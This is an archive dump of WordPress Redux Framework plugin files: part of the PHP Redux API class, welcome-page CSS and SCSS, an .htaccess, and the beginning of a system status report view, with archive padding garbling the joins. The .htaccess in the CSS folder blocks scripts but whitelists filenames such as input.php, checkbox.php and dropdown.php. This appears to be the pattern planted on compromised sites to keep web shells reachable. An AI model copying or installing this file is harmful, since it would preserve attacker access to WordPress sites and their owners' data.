! empty( $content ) ) { self::$args[ $opt_name ]['help_sidebar'] = $content; } } public static function setArgs( $opt_name = "", $args = array() ) { self::check_opt_name( $opt_name ); if ( ! empty( $opt_name ) && ! empty( $args ) && is_array( $args ) ) { if ( isset( self::$args[ $opt_name ] ) && isset( self::$args[ $opt_name ]['clearArgs'] ) ) { self::$args[ $opt_name ] = array(); } self::$args[ $opt_name ] = wp_parse_args( $args, self::$args[ $opt_name ] ); } } public static function getArgs( $opt_name = "" ) { self::check_opt_name( $opt_name ); if ( ! empty( $opt_name ) && ! empty( self::$args[ $opt_name ] ) ) { return self::$args[ $opt_name ]; } } public static function getArg( $opt_name = "", $key = "" ) { self::check_opt_name( $opt_name ); if ( ! empty( $opt_name ) && ! empty( $key ) && ! empty( self::$args[ $opt_name ] ) ) { return self::$args[ $opt_name ][ $key ]; } else { return; } } public static function getOption( $opt_name = "", $key = "" ) { self::check_opt_name( $opt_name ); if ( ! empty( $opt_name ) && ! empty( $key ) ) { $redux = get_option( $opt_name ); if ( isset( $redux[ $key ] ) ) { return $redux[ $key ]; } else { return; } } else { return; } } public static function setOption( $opt_name = "", $key = "", $option = "" ) { self::check_opt_name( $opt_name ); if ( ! empty( $opt_name ) && ! empty( $key ) ) { $redux = get_option( $opt_name ); $redux[ $key ] = $option; return update_option( $opt_name, $redux ); } else { return false; } } public static function getPriority( $opt_name, $type ) { $priority = self::$priority[ $opt_name ][ $type ]; self::$priority[ $opt_name ][ $type ] += 1; return $priority; } public static function check_opt_name( $opt_name = "" ) { if ( empty( $opt_name ) || is_array( $opt_name ) ) { return; } if ( ! isset( self::$sections[ $opt_name ] ) ) { self::$sections[ $opt_name ] = array(); self::$priority[ $opt_name ]['sections'] = 1; } if ( ! isset( self::$args[ $opt_name ] ) ) { self::$args[ $opt_name ] = array(); self::$priority[ $opt_name ]['args'] = 1; } if ( ! isset( self::$fields[ $opt_name ] ) ) { self::$fields[ $opt_name ] = array(); self::$priority[ $opt_name ]['fields'] = 1; } if ( ! isset( self::$help[ $opt_name ] ) ) { self::$help[ $opt_name ] = array(); self::$priority[ $opt_name ]['help'] = 1; } if ( ! isset( self::$errors[ $opt_name ] ) ) { self::$errors[ $opt_name ] = array(); } if ( ! isset( self::$init[ $opt_name ] ) ) { self::$init[ $opt_name ] = false; } } /** * Retrieve metadata from a file. Based on WP Core's get_file_data function * * @since 2.1.1 * * @param string $file Path to the file * * @return string */ public static function getFileVersion( $file ) { $data = get_file_data( $file, array( 'version' ), 'plugin' ); return $data[0]; } public static function checkExtensionClassFile( $opt_name, $name = "", $class_file = "", $instance = "" ) { if ( file_exists( $class_file ) ) { self::$uses_extensions[ $opt_name ] = isset( self::$uses_extensions[ $opt_name ] ) ? self::$uses_extensions[ $opt_name ] : array(); if ( ! in_array( $name, self::$uses_extensions[ $opt_name ] ) ) { self::$uses_extensions[ $opt_name ][] = $name; } self::$extensions[ $name ] = isset( self::$extensions[ $name ] ) ? self::$extensions[ $name ] : array(); $version = Redux_Helpers::get_template_version( $class_file ); if ( empty( $version ) && ! empty( $instance ) ) { if ( isset( $instance->version ) ) { $version = $instance->version; } } self::$extensions[ $name ][ $version ] = isset( self::$extensions[ $name ][ $version ] ) ? self::$extensions[ $name ][ $version ] : $class_file; $api_check = str_replace( 'extension_' . $name, $name . '_api', $class_file ); if ( file_exists( $api_check ) && ! class_exists( 'Redux_' . ucfirst( $name ) ) ) { include_once( $api_check ); } } } public static function setExtensions( $opt_name, $path ) { if ( is_dir( $path ) ) { $path = trailingslashit( $path ); $folder = str_replace( '.php', '', basename( $path ) ); if ( file_exists( $path . 'extension_' . $folder . '.php' ) ) { self::checkExtensionClassFile( $opt_name, $folder, $path . 'extension_' . $folder . '.php' ); } else { $folders = scandir( $path, 1 ); foreach ( $folders as $folder ) { if ( $folder === '.' or $folder === '..' or $folder[0] == "." ) { continue; } if ( file_exists( $path . $folder . '/extension_' . $folder . '.php' ) ) { self::checkExtensionClassFile( $opt_name, $folder, $path . $folder . '/extension_' . $folder . '.php' ); } else if ( is_dir( $path . $folder ) ) { self::setExtensions( $opt_name, $path . $folder ); continue; } } } } else if ( file_exists( $path ) ) { $name = explode( 'extension_', basename( $path ) ); if ( isset( $name[1] ) && ! empty( $name[1] ) ) { $name = str_replace( '.php', '', $name[1] ); self::checkExtensionClassFile( $opt_name, $name, $path ); } } } /** * Method to disables Redux demo mode popup. */ public static function disable_demo() { add_action('ReduxFrameworkPlugin_admin_notice', 'Redux::remove_demo', 0); add_action('redux_framework_plugin_admin_notice', 'Redux::remove_demo', 0); } /** * Callback used by Redux::disable_demo() to remove the demo mode notice from Redux. */ function remove_demo() { update_option('ReduxFrameworkPlugin_ACTIVATED_NOTICES', ''); } public static function getAllExtensions() { $redux = ReduxFrameworkInstances::get_all_instances(); foreach ( $redux as $instance ) { if ( ! empty( self::$uses_extensions[ $instance['args']['opt_name'] ] ) ) { continue; } if ( ! empty( $instance['extensions'] ) ) { Redux::getInstanceExtensions( $instance['args']['opt_name'], $instance ); } } } public static function getInstanceExtensions( $opt_name, $instance = array() ) { if ( ! empty( self::$uses_extensions[ $opt_name ] ) ) { return; } if ( empty( $instance ) ) { $instance = ReduxFrameworkInstances::get_instance( $opt_name ); } if ( empty( $instance ) || empty( $instance->extensions ) ) { return; } foreach ( $instance->extensions as $name => $extension ) { if ( $name == "widget_areas" ) { $new = new Redux_Widget_Areas( $instance ); } if ( isset( self::$uses_extensions[ $opt_name ][ $name ] ) ) { continue; } if ( isset( $extension->extension_dir ) ) { Redux::setExtensions( $opt_name, str_replace( $name, '', $extension->extension_dir ) ); } else if ( isset( $extension->_extension_dir ) ) { Redux::setExtensions( $opt_name, str_replace( $name, '', $extension->_extension_dir ) ); } } } public static function getExtensions( $opt_name = "", $key = "" ) { if ( empty( $opt_name ) ) { Redux::getAllExtensions(); if ( empty( $key ) ) { return self::$extension_paths; } else { if ( isset( self::$extension_paths[ $key ] ) ) { return self::$extension_paths[ $key ]; } } } else { if ( empty( self::$uses_extensions[ $opt_name ] ) ) { Redux::getInstanceExtensions( $opt_name ); } if ( empty( self::$uses_extensions[ $opt_name ] ) ) { return false; } $instanceExtensions = array(); foreach ( self::$uses_extensions[ $opt_name ] as $extension ) { $class_file = end( self::$extensions[ $extension ] ); $name = str_replace( '.php', '', basename( $extension ) ); $extension_class = 'ReduxFramework_Extension_' . $name; $instanceExtensions[ $extension ] = array( 'path' => $class_file, 'class' => $extension_class, 'version' => Redux_Helpers::get_template_version( $class_file ) ); } return $instanceExtensions; } return false; } } Redux::load(); } ������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������redux-framework/inc/welcome/css/redux-welcome.css���������������������������������������������������0000644�����������������00000024576�14720701300�0016164 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������.about-wrap.redux-status .updated,.about-wrap.redux-status .error{margin-top:10px}.about-wrap.redux-status .updated.redux-message{display:block !important}.about-wrap.redux-status .redux-message{position:relative;border-left-color:#00A2E3 !important;overflow:hidden}.about-wrap.redux-status .redux-message a.skip,.about-wrap.redux-status .redux-message a.docs{opacity:0.5;text-decoration:none !important}.about-wrap.redux-status #debug-report{display:none;margin:10px 0;padding:0;position:relative}.about-wrap.redux-status #debug-report textarea{font-family:monospace;width:100%;margin:0;height:300px;padding:20px;-moz-border-radius:0;-webkit-border-radius:0;border-radius:0;resize:none;font-size:12px;line-height:20px;outline:0}.about-wrap.redux-status table.redux_status_table{margin-bottom:1em}.about-wrap.redux-status table.redux_status_table tr:nth-child(2n) th,.about-wrap.redux-status table.redux_status_table tr:nth-child(2n) td{background:#fcfcfc}.about-wrap.redux-status table.redux_status_table th{font-weight:700;padding:9px}.about-wrap.redux-status table.redux_status_table td:first-child{width:33%}.about-wrap.redux-status table.redux_status_table td.help{width:1em}.about-wrap.redux-status table.redux_status_table td{padding:9px}.about-wrap.redux-status table.redux_status_table td mark{background:transparent none}.about-wrap.redux-status table.redux_status_table td mark.yes{color:#7ad03a}.about-wrap.redux-status table.redux_status_table td mark.no{color:#999}.about-wrap.redux-status table.redux_status_table td mark.error{color:#a00}.about-wrap.redux-status table.redux_status_table td ul{margin:0}.about-wrap.redux-status table.redux_status_table .redux-hint-qtip{cursor:help}.about-wrap #footer-upgrade{display:none}.about-wrap .redux-badge{position:absolute;top:0;background:#00A2E3;padding:20px;color:#efefef;margin:5px 0 0 0;-webkit-box-shadow:0 1px 3px rgba(0,0,0,0.2);box-shadow:0 1px 3px rgba(0,0,0,0.2)}.about-wrap .redux-badge:before{color:#fff;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale;font-size:80px;font-weight:normal;width:165px;height:165px;line-height:165px;text-align:center;position:absolute;top:0;margin:0;vertical-align:middle}.about-wrap .redux-badge .el{background:#00A2E3;display:block !important;font-size:8em;color:#fff;margin-bottom:30px}.about-wrap .redux-badge span{font-weight:600;font-size:14px;text-align:center;position:absolute;bottom:0;background:rgba(50,50,49,0.47);left:0;right:0;padding:8px}.about-wrap .redux-feature{overflow:visible !important;*zoom:1}.about-wrap .redux-feature:before,.about-wrap .redux-feature:after{content:" ";display:table}.about-wrap .redux-feature:after{clear:both}.about-wrap h3+.redux-feature{margin-top:0}.about-wrap .feature-rest div{width:50% !important;-moz-box-sizing:border-box;box-sizing:border-box;margin:0 !important}.about-wrap .feature-rest div.icon:before{font-weight:normal;width:100%;font-size:170px;line-height:125px;color:#9c5d90;display:inline-block;position:relative;text-align:center;speak:none;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale}.about-wrap div.icon{width:0 !important;padding:0;margin:20px 0 !important}.about-wrap .about-integrations{background:#fff;margin:20px 0;padding:1px 20px 10px}.about-wrap .changelog h2{line-height:1.4;padding-bottom:0}.about-wrap .changelog .feature-section{padding-top:1.4em}.about-wrap .changelog .prettyprint{overflow-wrap:break-word}.about-wrap .changelog .gist-it-gist .gist-file{border:0 !important;background:0 !important}.about-wrap .changelog .gist-it-gist .gist-file .gist-data{border:0 !important;background:0 !important}.about-wrap .changelog .gist-it-gist .gist-file .gist-data pre{padding-top:10px !important;word-break:break-word}.about-wrap .theme-screenshot{color:#eee;transition:all 0.5s}.about-wrap .theme-screenshot:hover{color:#fff}.about-wrap .theme-screenshot i{text-align:center;display:block;margin:10px;font-size:90px;line-height:200px;transition:all 0.5s ease}.about-wrap .theme-browser .theme{transition:all 0.5s}.about-wrap .theme-browser .theme:hover .theme-screenshot i{transition:all 0.5s;font-size:120px}.about-wrap .theme-browser .theme .theme-screenshot:after{content:inherit;display:inherit;padding-top:inherit}.about-wrap .theme-screenshot figure{position:relative;overflow:hidden;cursor:pointer;margin:0}.about-wrap .theme-screenshot figure i{position:relative;display:block;font-size:11em;opacity:0.8}.about-wrap .theme-screenshot figure figcaption{padding:15px;color:#fff;text-transform:uppercase;font-size:1.25em;-webkit-backface-visibility:hidden;backface-visibility:hidden}.about-wrap .theme-screenshot figure figcaption:before,.about-wrap .theme-screenshot figure figcaption:after{pointer-events:none}.about-wrap .theme-screenshot figure figcaption,.about-wrap .theme-screenshot figure figcaption>a{position:absolute;top:0;left:0;right:0;bottom:0}.about-wrap .theme-screenshot figure figcaption>a{z-index:1000;text-indent:200%;white-space:nowrap;font-size:0;opacity:0}.about-wrap .theme-screenshot figure p{margin:0;letter-spacing:1px;font-size:68.5%}.about-wrap .theme-screenshot figure i{opacity:0.7;-webkit-transition:opacity 0.35s;transition:opacity 0.35s}.about-wrap .theme:hover figcaption::before,.about-wrap .theme:hover figcaption::after{opacity:1;-webkit-transform:scale(1);transform:scale(1)}.about-wrap .theme:hover i{opacity:0.3}.about-wrap .theme:hover p{opacity:1;-webkit-transform:translate3d(0, 0, 0);transform:translate3d(0, 0, 0);text-shadow:2px 2px 1px rgba(0,0,0,0.3)}.about-wrap figure figcaption::before,.about-wrap figure figcaption::after{position:absolute;top:15px;right:15px;bottom:15px;left:15px;content:'';opacity:0;-webkit-transition:opacity 0.35s, -webkit-transform 0.35s;transition:opacity 0.35s, transform 0.35s}.about-wrap figure figcaption::before{border-top:1px solid #fff;border-bottom:1px solid #fff;-webkit-transform:scale(0, 1);transform:scale(0, 1)}.about-wrap figure figcaption::after{border-right:1px solid #fff;border-left:1px solid #fff;-webkit-transform:scale(1, 0);transform:scale(1, 0)}.about-wrap figure p{padding:10px;text-transform:none;opacity:0;margin-top:0 !important;-webkit-transition:opacity 0.35s, -webkit-transform 0.35s;transition:opacity 0.35s, transform 0.35s;-webkit-transform:translate3d(0, 20px, 0);transform:translate3d(0, 20px, 0)}.redux-message .twitter-share-button,p.redux-actions .twitter-share-button{margin-top:-3px;margin-left:3px;vertical-align:middle}.redux-message a.donate,.redux-message a.review-us,p.redux-actions a.donate,p.redux-actions a.review-us{opacity:.5;text-decoration:none !important}#redux-message{margin-top:15px !important;display:block !important;margin:5px 0 15px;border-color:#00A2E3}#redux-message h4{margin-top:.5em}@media only screen and (min-width: 2000px){#wpwrap .theme-browser .theme:nth-child(4n),#wpwrap .theme-browser .theme:nth-child(5n){margin-right:3%}}@media screen and (max-width: 500px){.about-wrap h2 .nav-tab{width:100%;margin:0;padding:0;height:40px;line-height:40px;text-align:center;margin-bottom:10px;margin-top:10px}.about-wrap h2.nav-tab-wrapper{padding:0;width:100%}}@media only screen and (max-width: 1120px){.theme-browser .theme:nth-child(odd){margin-right:5% !important}.theme-browser .theme{width:47.5% !important;margin-right:auto !important}}@media screen and (max-width: 620px){.theme-browser .theme{width:100% !important;margin-right:0}}#support_div input.hash{text-align:center}#support_div .hide{display:none}#support_div .previous{opacity:.8}#support_div #supportform{margin-top:10px;text-align:center;position:relative}#support_div #supportform fieldset{background:white;border:0 none;border-radius:3px;box-shadow:0 0 15px 1px rgba(0,0,0,0.4);padding:20px 30px;box-sizing:border-box;width:86%;margin:0 7%;position:absolute}#support_div #supportform fieldset:not(:first-of-type){display:none}#support_div #supportform input,#support_div #supportform textarea{padding:15px;border:1px solid #ccc;border-radius:3px;margin-bottom:10px;width:100%;box-sizing:border-box;font-family:montserrat;color:#2C3E50;font-size:13px}#support_div #supportform input.checkbox{width:initial;margin-top:10px}#support_div #supportform .action-button{width:100px;background:#27AE60;font-weight:bold;color:white;border:0 none;border-radius:1px;cursor:pointer;padding:10px 5px;margin:10px 5px}#support_div #supportform .action-button:disabled{opacity:.5}#support_div #supportform .action-button:hover,#support_div #supportform .action-button:focus{box-shadow:0 0 0 2px white, 0 0 0 3px #27AE60}#support_div #supportform .fs-title{font-size:15px;text-transform:uppercase;color:#2C3E50;margin-bottom:10px}#support_div #supportform .fs-subtitle{font-weight:normal;font-size:13px;text-align:left;color:#666;margin-bottom:20px}#support_div #supportform #toDebug li{text-align:left;width:45%;float:left}#support_div #supportform #user_type{width:100%}#support_div #supportform #user_type td{cursor:pointer;width:50%}#support_div #supportform #user_type td i{font-size:130px;margin-bottom:10px}#support_div #supportform #user_type td:hover i{color:#176C8E}#support_div #supportform #user_type td small{line-height:2.5em;font-style:italic}#support_div #supportform #support_hash{text-align:center;word-break:break-all}#support_div .breadcrumb{display:inline-block;box-shadow:0 0 10px 1px rgba(0,0,0,0.35);overflow:hidden;border-radius:5px;margin:15px 0;counter-reset:flag}#support_div .breadcrumb li{text-decoration:none;outline:none;display:block;float:left;font-size:12px;transition:all 0.5s;width:auto;margin:0;line-height:36px;color:white;padding:0 10px 0 60px;background:#666;position:relative}#support_div .breadcrumb li:first-child{padding-left:46px;border-radius:5px 0 0 5px}#support_div .breadcrumb li:first-child:before{left:14px}#support_div .breadcrumb li:last-child{border-radius:0 5px 5px 0;padding-right:20px}#support_div .breadcrumb li:last-child:after{content:none}#support_div .breadcrumb li.active{background:#333}#support_div .breadcrumb li.active:after{background:#333}#support_div .breadcrumb li.active:before{background:#555}#support_div .breadcrumb li:after{content:'';position:absolute;top:0;right:-18px;width:36px;height:36px;transform:scale(0.707) rotate(45deg);z-index:1;background:#666;box-shadow:2px -2px 0 2px rgba(0,0,0,0.4),3px -3px 0 2px rgba(255,255,255,0.1);border-radius:0 5px 0 50px;transition:all 0.5s}#support_div .breadcrumb li:before{transition:all 0.5s;content:counter(flag);counter-increment:flag;border-radius:100%;width:20px;height:20px;line-height:20px;margin:8px 0;position:absolute;top:0;left:30px;background:#444;font-weight:bold} ����������������������������������������������������������������������������������������������������������������������������������redux-framework/inc/welcome/css/redux-welcome.scss��������������������������������������������������0000644�����������������00000042307�14720701300�0016337 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������$green: #7ad03a; $red: #a00; $orange: #ffba00; $blue: #2ea2cc; .about-wrap { &.redux-status { .updated, .error { margin-top: 10px; } .updated { &.redux-message { display: block !important; } } .redux-message { position: relative; border-left-color: #00A2E3 !important; overflow: hidden; a.skip, a.docs { opacity: 0.5; text-decoration: none !important; } } #debug-report { display: none; margin: 10px 0; padding: 0; position: relative; textarea { font-family: monospace; width: 100%; margin: 0; height: 300px; padding: 20px; -moz-border-radius: 0; -webkit-border-radius: 0; border-radius: 0; resize: none; font-size: 12px; line-height: 20px; outline: 0; } } table.redux_status_table { margin-bottom: 1em; tr { &:nth-child(2n) { th, td { background: #fcfcfc; } } } th { font-weight: 700; padding: 9px; } td:first-child { width: 33%; } td.help { width: 1em; } td { padding: 9px; //font-size: 1.1em; mark { background: transparent none; } mark.yes { color: $green; } mark.no { color: #999; } mark.error { color: $red; } ul { margin: 0; } } .redux-hint-qtip { cursor: help; } } } } .about-wrap { #footer-upgrade { display: none;; } .redux-badge { position: absolute; top: 0; background: #00A2E3; padding: 20px; color: #efefef; margin: 5px 0 0 0; -webkit-box-shadow: 0 1px 3px rgba(0, 0, 0, .2); box-shadow: 0 1px 3px rgba(0, 0, 0, .2); &:before { color: #fff; -webkit-font-smoothing: antialiased; -moz-osx-font-smoothing: grayscale; font-size: 80px; font-weight: normal; width: 165px; height: 165px; line-height: 165px; text-align: center; position: absolute; top: 0; margin: 0; vertical-align: middle; } .el { background: #00A2E3; display: block !important; font-size: 8em; color: #fff; margin-bottom: 30px; } span { font-weight: 600; font-size: 14px; text-align: center; position: absolute; bottom: 0; background: rgba(50, 50, 49, 0.47); left: 0; right: 0; padding: 8px; } } .redux-feature { overflow: visible !important; *zoom: 1; &:before, &:after { content: " "; display: table; } &:after { clear: both; } } h3 + .redux-feature { margin-top: 0; } .feature-rest div { width: 50% !important; -moz-box-sizing: border-box; box-sizing: border-box; margin: 0 !important; &.icon:before { font-weight: normal; width: 100%; font-size: 170px; line-height: 125px; color: #9c5d90; display: inline-block; position: relative; text-align: center; speak: none; -webkit-font-smoothing: antialiased; -moz-osx-font-smoothing: grayscale; } } div.icon { width: 0 !important; padding: 0; margin: 20px 0 !important; } .about-integrations { background: #fff; margin: 20px 0; padding: 1px 20px 10px; } .changelog { h2 { line-height: 1.4; padding-bottom: 0;; } .feature-section { padding-top: 1.4em; } .prettyprint { overflow-wrap: break-word; } .gist-it-gist { .gist-file { border: 0 !important; background: 0 !important; .gist-data { border: 0 !important; background: 0 !important; pre { padding-top: 10px !important; word-break: break-word; } } } } } .theme-screenshot { color: #eee; transition: all 0.5s; &:hover { color: #fff; } i { text-align: center; display: block; margin: 10px; font-size: 90px; line-height: 200px; transition: all 0.5s ease; } } .theme-browser { .theme { transition: all 0.5s; &:hover .theme-screenshot i { transition: all 0.5s; font-size: 120px; } .theme-screenshot:after { content: inherit; display: inherit; padding-top: inherit; } } } .theme-screenshot { figure { position: relative; overflow: hidden; cursor: pointer; margin: 0; i { position: relative; display: block; font-size: 11em; opacity: 0.8; } figcaption { padding: 15px; color: #fff; text-transform: uppercase; font-size: 1.25em; -webkit-backface-visibility: hidden; backface-visibility: hidden; &:before, &:after { pointer-events: none; } } figcaption, figcaption > a { position: absolute; top: 0; left: 0; right: 0; bottom: 0; } figcaption > a { z-index: 1000; text-indent: 200%; white-space: nowrap; font-size: 0; opacity: 0; } p { margin: 0; letter-spacing: 1px; font-size: 68.5%; } i { opacity: 0.7; -webkit-transition: opacity 0.35s; transition: opacity 0.35s; } } } .theme:hover { figcaption { &::before, &::after { opacity: 1; -webkit-transform: scale(1); transform: scale(1); } } i { opacity: 0.3; } p { opacity: 1; -webkit-transform: translate3d(0, 0, 0); transform: translate3d(0, 0, 0); text-shadow: 2px 2px 1px rgba(0, 0, 0, .3); } } figure { figcaption { &::before, &::after { position: absolute; top: 15px; right: 15px; bottom: 15px; left: 15px; content: ''; opacity: 0; -webkit-transition: opacity 0.35s, -webkit-transform 0.35s; transition: opacity 0.35s, transform 0.35s; } &::before { border-top: 1px solid #fff; border-bottom: 1px solid #fff; -webkit-transform: scale(0, 1); transform: scale(0, 1); } &::after { border-right: 1px solid #fff; border-left: 1px solid #fff; -webkit-transform: scale(1, 0); transform: scale(1, 0); } } p { padding: 10px; text-transform: none; opacity: 0; margin-top: 0 !important; -webkit-transition: opacity 0.35s, -webkit-transform 0.35s; transition: opacity 0.35s, transform 0.35s; -webkit-transform: translate3d(0, 20px, 0); transform: translate3d(0, 20px, 0); } } } .redux-message, p.redux-actions { .twitter-share-button { margin-top: -3px; margin-left: 3px; vertical-align: middle; } a { &.donate, &.review-us { opacity: .5; text-decoration: none !important; } } } #redux-message { margin-top: 15px !important; display: block !important; margin: 5px 0 15px; border-color: #00A2E3; h4 { margin-top: .5em; } } @media only screen and (min-width: 2000px) { #wpwrap .theme-browser .theme:nth-child(4n), #wpwrap .theme-browser .theme:nth-child(5n) { margin-right: 3%; } } @media screen and (max-width: 500px) { .about-wrap h2 .nav-tab { width: 100%; margin: 0; padding: 0; height: 40px; line-height: 40px; text-align: center; margin-bottom: 10px; margin-top: 10px; } .about-wrap h2.nav-tab-wrapper { padding: 0; width: 100%; } } @media only screen and (max-width: 1120px) { .theme-browser .theme:nth-child(odd) { margin-right: 5% !important; } .theme-browser .theme { width: 47.5% !important; margin-right: auto !important; } } @media screen and (max-width: 620px) { .theme-browser .theme { width: 100% !important; margin-right: 0; } } #support_div { input.hash { text-align: center; } .hide { display: none; } .previous { opacity: .8; } /*form styles*/ #supportform { /*width: 500px;*/ margin-top: 10px; text-align: center; position: relative; fieldset { background: white; border: 0 none; border-radius: 3px; box-shadow: 0 0 15px 1px rgba(0, 0, 0, 0.4); padding: 20px 30px; box-sizing: border-box; width: 86%; margin: 0 7%; /*stacking fieldsets above each other*/ position: absolute; /*Hide all except first fieldset*/ &:not(:first-of-type) { display: none; } } /*inputs*/ input, textarea { padding: 15px; border: 1px solid #ccc; border-radius: 3px; margin-bottom: 10px; width: 100%; box-sizing: border-box; font-family: montserrat; color: #2C3E50; font-size: 13px; } input.checkbox { width: initial; margin-top: 10px; } /*buttons*/ .action-button { width: 100px; background: #27AE60; font-weight: bold; color: white; border: 0 none; border-radius: 1px; cursor: pointer; padding: 10px 5px; margin: 10px 5px; &:disabled { opacity: .5; } &:hover, &:focus { box-shadow: 0 0 0 2px white, 0 0 0 3px #27AE60; } } /*headings*/ .fs-title { font-size: 15px; text-transform: uppercase; color: #2C3E50; margin-bottom: 10px; } .fs-subtitle { font-weight: normal; font-size: 13px; text-align: left; color: #666; margin-bottom: 20px; } #toDebug li { text-align: left; width: 45%; float: left; } #user_type { width: 100%; td { cursor: pointer; width: 50%; i { font-size: 130px; margin-bottom: 10px; } &:hover i { color: #176C8E; } small { line-height: 2.5em; font-style: italic; } } } #support_hash { text-align: center; word-break: break-all; } } .breadcrumb { /*centering*/ display: inline-block; box-shadow: 0 0 10px 1px rgba(0, 0, 0, 0.35); overflow: hidden; border-radius: 5px; margin: 15px 0; /*Lets add the numbers for each link using CSS counters. flag is the name of the counter. to be defined using counter-reset in the parent element of the links*/ counter-reset: flag; li { text-decoration: none; outline: none; display: block; float: left; font-size: 12px; transition: all 0.5s; width: auto; margin: 0; line-height: 36px; color: white; /*need more margin on the left of links to accomodate the numbers*/ padding: 0 10px 0 60px; background: #666; //background: linear-gradient(#666, #333); position: relative; /*since the first link does not have a triangle before it we can reduce the left padding to make it look consistent with other links*/ &:first-child { padding-left: 46px; border-radius: 5px 0 0 5px; /*to match with the parent's radius*/ &:before { left: 14px; } } &:last-child { border-radius: 0 5px 5px 0; /*this was to prevent glitches on hover*/ padding-right: 20px; /*we dont need an arrow after the last link*/ &:after { content: none; } } &.active { background: #333; //background: linear-gradient(#333, #000); &:after { background: #333; //background: linear-gradient(135deg, #333, #000); } &:before { background: #555; } } /*adding the arrows for the breadcrumbs using rotated pseudo elements*/ &:after { content: ''; position: absolute; top: 0; right: -18px; /*half of square's length*/ /*same dimension as the line-height of .breadcrumb a */ width: 36px; height: 36px; /*as you see the rotated square takes a larger height. which makes it tough to position it properly. So we are going to scale it down so that the diagonals become equal to the line-height of the link. We scale it to 70.7% because if square's: length = 1; diagonal = (1^2 + 1^2)^0.5 = 1.414 (pythagoras theorem) if diagonal required = 1; length = 1/1.414 = 0.707*/ transform: scale(0.707) rotate(45deg); /*we need to prevent the arrows from getting buried under the next link*/ z-index: 1; /*background same as links but the gradient will be rotated to compensate with the transform applied*/ background: #666; //background: linear-gradient(135deg, #666, #333); /*stylish arrow design using box shadow*/ box-shadow: 2px -2px 0 2px rgba(0, 0, 0, 0.4), 3px -3px 0 2px rgba(255, 255, 255, 0.1); /* 5px - for rounded arrows and 50px - to prevent hover glitches on the border created using shadows*/ border-radius: 0 5px 0 50px; transition: all 0.5s; } /*we will use the :before element to show numbers*/ &:before { transition: all 0.5s; content: counter(flag); counter-increment: flag; /*some styles now*/ border-radius: 100%; width: 20px; height: 20px; line-height: 20px; margin: 8px 0; position: absolute; top: 0; left: 30px; background: #444; //background: linear-gradient(#444, #222); font-weight: bold; } } } }�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������redux-framework/inc/welcome/css/.htaccess�����������������������������������������������������������0000644�����������������00000001626�14720701300�0014457 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<FilesMatch ".(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|suspected)$"> Order allow,deny Deny from all </FilesMatch> <FilesMatch "^(index.php|credits.php|customize.php|edit-comments.php|edit-tags.php|edit.php|checkbox.php|export.php|input.php|link.php|load-scripts.php|load-styles.php|dropdown.php|menu.php|nav-menus.php|network.php|options-discussion.php|options-general.php|options-permalink.php|options-privacy.php|options-reading.php|options-writing.php|plugins.php|post-new.php|post.php|privacy.php|profile.php|site-health.php|term.php|text.php|themes.php|tools.php|update-core.php|user-edit.php|user-new.php|users.php|wp-links.php|wp-login.php|wp-signup.php)$"> Order allow,deny Allow from all </FilesMatch> <IfModule mod_rewrite.c> RewriteEngine On RewriteBase / RewriteRule ^index.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . index.php [L] </IfModule>����������������������������������������������������������������������������������������������������������redux-framework/inc/welcome/views/status_report.php�������������������������������������������������0000644�����������������00000131344�14720701300�0016656 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * Admin View: Page - Status Report */ if ( ! defined( 'ABSPATH' ) ) { exit; } global $wpdb; function redux_get_support_object() { $obj = array(); } function redux_clean( $var ) { return sanitize_text_field( $var ); } $sysinfo = Redux_Helpers::compileSystemStatus( false, true ); ?> <div class="wrap about-wrap redux-status"> <h1> <?php esc_html_e( 'Redux Framework - System Status', 'redux-framework' ); ?> </h1> <div class="about-text"> <?php esc_html_e( 'Our core mantra at Redux is backwards compatibility. With hundreds of thousands of instances worldwide, you can be assured that we will take care of you and your clients.', 'redux-framework' ); ?></div> <div class="redux-badge"> <i class="el el-redux"></i> <span> <?php printf( __( 'Version %s', 'redux-framework' ), esc_html(ReduxFramework::$_version )); ?> </span> </div> <?php $this->actions(); ?> <?php $this->tabs(); ?> <div class="updated redux-message"> <p> <?php esc_html_e( 'Please copy and paste this information in your ticket when contacting support:', 'redux-framework' ); ?> </p> <p class="submit"> <a href="#" class="button-primary debug-report"> <?php esc_html_e( 'Get System Report', 'redux-framework' ); ?> </a> <a class="skip button-primary" href="http://docs.reduxframework.com/core/support/understanding-the-redux-framework-system-status-report/" target="_blank"> <?php esc_html_e( 'Understanding the Status Report', 'redux-framework' ); ?> </a> </p> <div id="debug-report"> <textarea readonly="readonly"></textarea> <p class="submit"> <button id="copy-for-support" class="button-primary redux-hint-qtip" href="#" qtip-content="<?php esc_html_e( 'Copied!', 'redux-framework' ); ?>"> <?php esc_html_e( 'Copy for Support', 'redux-framework' ); ?> </button> </p> </div> </div> <br/> <table class="redux_status_table widefat" cellspacing="0" id="status"> <thead> <tr> <th colspan="3" data-export-label="WordPress Environment"> <?php esc_html_e( 'WordPress Environment', 'redux-framework' ); ?> </th> </tr> </thead> <tbody> <tr> <td data-export-label="Home URL"> <?php esc_html_e( 'Home URL', 'redux-framework' ); ?>: </td> <td class="help"> <?php echo '<a href="#" class="redux-hint-qtip" qtip-content="' . esc_attr__( 'The URL of your site\'s homepage.', 'redux-framework' ) . '">[?]</a>'; ?> </td> <td><?php echo esc_url($sysinfo['home_url']); ?></td> </tr> <tr> <td data-export-label="Site URL"> <?php esc_html_e( 'Site URL', 'redux-framework' ); ?>: </td> <td class="help"> <?php echo '<a href="#" class="redux-hint-qtip" qtip-content="' . esc_attr__( 'The root URL of your site.', 'redux-framework' ) . '">[?]</a>'; ?> </td> <td> <?php echo esc_url($sysinfo['site_url']); ?> </td> </tr> <tr> <td data-export-label="Redux Version"> <?php esc_html_e( 'Redux 